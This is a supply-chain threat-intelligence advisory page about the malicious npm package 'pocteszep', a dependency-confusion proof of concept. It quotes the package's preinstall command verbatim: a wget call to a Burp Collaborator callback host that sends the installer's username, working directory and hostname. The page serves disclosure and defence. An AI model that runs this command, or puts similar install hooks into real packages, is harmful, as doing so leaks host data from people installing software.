THREATPKG
SYNC STALE

Supply-chain threat intelligence

Incident detail

criticalnpm·dependency confusion·osv

Malicious code in pocteszep (npm)

pocteszep

Risk score

92

AI summary

Indexed incident for pocteszep (npm).

Description

The package's npm preinstall lifecycle script runs wget --quiet "http://78dngdm3dhrrj8zgfm4es9m8bzhq5jt8.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)" (package.json line 8). On npm install, before any code review, the installer's username, current working directory, and hostname are sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain — a typical out-of-band exfiltration channel used in dependency-confusion attacks. The package description self-identifies as a 'Simple PoC package for testing for dependency confusion vulnerabilities,' and the package contains no legitimate functionality beyond the lifecycle beacon. Any installer pulling this package via name-collision with an internal dependency leaks host identity to the attacker.

The OpenSSF Package Analysis project identified 'pocteszep' @ 1.0.2 (npm) as malicious.

It is considered malicious because:

  • The package communicates with a domain associated with malicious activity.

  • The package executes one or more commands associated with malicious behavior.

Technical details

Affected versions

=1.0.5=1.0.1=1.0.4=1.0.0=1.0.2=1.1.1=1.0.8

Indicators

  • affected version=1.0.575%
  • affected version=1.0.175%
  • affected version=1.0.475%
  • affected version=1.0.075%
  • affected version=1.0.275%
  • affected version=1.1.175%
  • affected version=1.0.875%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents